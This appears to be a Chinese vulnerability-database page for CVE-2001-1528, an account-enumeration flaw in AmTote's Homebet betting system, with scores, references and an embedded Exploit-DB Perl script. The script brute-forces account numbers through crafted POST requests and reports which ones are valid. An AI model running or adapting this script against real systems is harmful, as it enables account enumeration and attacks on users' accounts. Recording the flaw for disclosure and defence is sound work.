CVE-2001-1528
CVSS5.0
发布时间 :2001-12-31 00:00:00
修订时间 :2008-09-05 16:26:47
NMCOE    

[原文]AmTote International homebet program returns different error messages when invalid account numbers and PIN codes are provided, which allows remote attackers to determine the existence of valid account numbers via a brute force attack.


[CNNVD]Amtote Homebet帐号信息蛮力漏洞(CNNVD-200112-242)

        AmTote International homebet程序在提供无效账户号码和PIN代码时返回不同的错误消息。远程攻击者可以借助蛮力攻击判断有效帐户号码的存在。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1528
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-1528
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200112-242
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/3371
(UNKNOWN)  BID  3371
http://www.iss.net/security_center/static/7185.php
(UNKNOWN)  XF  homebet-brute-force-account(7185)
http://archives.neohapsis.com/archives/bugtraq/2001-09/0235.html
(VENDOR_ADVISORY)  BUGTRAQ  20010929 Vulnerability in Amtote International homebet self service wagering system.

- 漏洞信息

Amtote Homebet帐号信息蛮力漏洞
中危 设计错误
2001-12-31 00:00:00 2006-08-16 00:00:00
远程  
        AmTote International homebet程序在提供无效账户号码和PIN代码时返回不同的错误消息。远程攻击者可以借助蛮力攻击判断有效帐户号码的存在。

- 公告与补丁

        Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com .

- 漏洞信息 (21116)

Amtote Homebet 0 Account Information Brute Force Vulnerability (EDBID:21116)
multiple remote
2001-09-28 Verified
0 Gary O'Leary-Steele
N/A [点击下载]
source: http://www.securityfocus.com/bid/3371/info

Homebet is an internet based betting application that is developed by Amtote International.

A vulnerability exists in Homebet which could enable a non-registered user to confirm the validity of possible legitimate users and their PIN numbers. 

## Amtote brute force thingy
@method =
'POST /homebet/homebet.dll HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint,
application/vnd.ms-excel, application/msword, application/x-comet, */*
Referer: http://217.23.170.15/homebet/homebet.dll?form=menu&option=menu-signin
Accept-Language: en-gb
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; fs_pb_ie5)
Host: 217.23.170.15
Content-Length: 29
Connection: Keep-Alive
Cache-Control: no-cache'."\n";
$found ="notyet";

use Socket;
$prompt = "cmd\/c";
if (@ARGV<1) {die "Account cracker\n Usage \= IP/host:Port e.g. Perl $0 www.target.com\n";}

($host,$port)=split(/:/,@ARGV[0]);$target = inet_aton($host);

$account ="accounts.txt"; # file containing account numbers
unless($port){$port = 80;}

open(EXPF,$account) or die "can't open account file file $account\n";

while(<EXPF>){
$found ="notyet";

$a = $_;
chomp $a;
print "Cracking Account number\n";
print "$a\n";
#if ($a eq ""){goto hello;};

@guess = "@method" . 'form=open&account=' . $a .'&pin=0000';

@retrn = sendraw("@guess \r\n\r\n");
print @guess;
print @retrn;
foreach $line (@retrn){
	if ($line =~ "ACCOUNT NUMBER IS NOT DEFINED") { $found="no" ;  }       
		      }

if ($found eq "notyet"){goto hello}

}

hello:


if($found eq "notyet"){
print <<"endc"; 

found valid account number $a
endc
}

################### sendraw sub

sub sendraw {   # this saves the whole transaction anyway
	my ($pstr)=@_;
	socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
		die("Socket problems\n");
	if(connect(S,pack "SnA4x8",2,$port,$target)){
		my @in;
		select(S);      $|=1;   print $pstr;
		while(<S>){ push @in, $_;}
		select(STDOUT); close(S); return @in;
	} else { die("Can't connect...\n"); }
}


		

- 漏洞信息

20236
AmTote International homebet Login Error Message Account Enumeration
Remote / Network Access Information Disclosure
Loss of Confidentiality
Exploit Public

- 漏洞描述

- 时间线

2001-09-29 Unknow
2001-09-29 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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